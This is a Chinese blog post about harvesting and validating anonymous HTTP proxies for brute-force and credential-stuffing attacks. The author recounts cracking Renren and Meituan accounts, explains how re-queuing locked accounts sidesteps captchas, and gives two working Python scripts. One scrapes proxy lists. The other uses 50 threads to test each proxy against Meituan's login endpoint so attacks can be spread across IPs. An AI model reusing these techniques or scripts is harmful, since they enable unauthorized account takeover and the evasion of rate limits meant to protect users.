批量获取及验证HTTP代理的Python脚本


Posted in Python onApril 23, 2017

HTTP暴力破解、撞库,有一些惯用的技巧,比如:

1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。

我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/

首先获取代理列表 :

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)

of.close()

接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()
Python 相关文章推荐
Python中的面向对象编程详解(上)
Apr 13 Python
cmd运行python文件时对结果进行保存的方法
May 16 Python
django开发post接口简单案例,获取参数值的方法
Dec 11 Python
Python I/O与进程的详细讲解
Mar 08 Python
Python 继承,重写,super()调用父类方法操作示例
Sep 29 Python
python-视频分帧&多帧合成视频实例
Dec 10 Python
python opencv实现gif图片分解的示例代码
Dec 13 Python
TensorFlow自定义损失函数来预测商品销售量
Feb 05 Python
django配置app中的静态文件步骤
Mar 27 Python
Python如何使用27行代码绘制星星图
Jul 20 Python
利用python如何实现猫捉老鼠小游戏
Dec 04 Python
python中Mako库实例用法
Dec 31 Python
深入理解python中的select模块
Apr 23 #Python
Python3如何解决字符编码问题详解
Apr 23 #Python
Python制作刷网页流量工具
Apr 23 #Python
Python读取指定目录下指定后缀文件并保存为docx
Apr 23 #Python
正确理解python中的关键字“with”与上下文管理器
Apr 21 #Python
python妙用之编码的转换详解
Apr 21 #Python
简单谈谈Python中的元祖(Tuple)和字典(Dict)
Apr 21 #Python
You might like
mysql limit查询优化分析
2008/11/12 PHP
PHP正则表达式过滤html标签属性(DEMO)
2016/05/04 PHP
[原创]php求圆周率的简单实现方法
2016/05/30 PHP
利用PHP访问MySql数据库的逻辑操作以及增删改查的实例讲解
2017/08/30 PHP
PHP设计模式之装饰器模式定义与用法详解
2018/04/02 PHP
PHP调用接口API封装的例子
2019/10/11 PHP
jQuery 联动日历实现代码
2012/05/31 Javascript
Javascript中获取对象的原型对象的方法小结
2015/02/25 Javascript
Sort()函数的多种用法
2016/03/20 Javascript
jquery实现简单的banner轮播效果【实例】
2016/03/30 Javascript
jQuery中ajax错误调试分析
2016/12/01 Javascript
js实现悬浮窗效果(支持拖动)
2017/03/09 Javascript
jquery实现图片放大点击切换
2017/06/06 jQuery
jQuery实现用户信息表格的添加和删除功能
2017/09/12 jQuery
vue实现路由切换改变title功能
2019/05/28 Javascript
JS根据Unix时间戳显示发布时间是多久前【项目实测】
2019/07/10 Javascript
Python学习入门之区块链详解
2017/07/25 Python
浅析python协程相关概念
2018/01/20 Python
python入门:这篇文章带你直接学会python
2018/09/14 Python
python增加图像对比度的方法
2019/07/12 Python
基于Pytorch SSD模型分析
2020/02/18 Python
Python3自定义http/https请求拦截mitmproxy脚本实例
2020/05/11 Python
Get The Label中文官网:英国运动时尚购物平台
2017/04/19 全球购物
联想德国官网:Lenovo Germany
2018/07/04 全球购物
LODI女鞋在线商店:阿利坎特的鞋类品牌
2019/02/15 全球购物
英国领先的豪华时尚家居网上商店:Amara
2019/08/12 全球购物
简历自荐信
2013/12/02 职场文书
光荣入党自我鉴定
2014/01/22 职场文书
2014年社会实践活动总结范文
2014/04/29 职场文书
电工技术比武方案
2014/05/11 职场文书
入党综合考察材料
2014/06/02 职场文书
辞职信格式模板
2015/02/27 职场文书
慰问信格式规范
2015/03/23 职场文书
自我检讨书怎么写
2015/05/07 职场文书
公司趣味运动会开幕词
2016/03/04 职场文书
python单向链表实例详解
2022/05/25 Python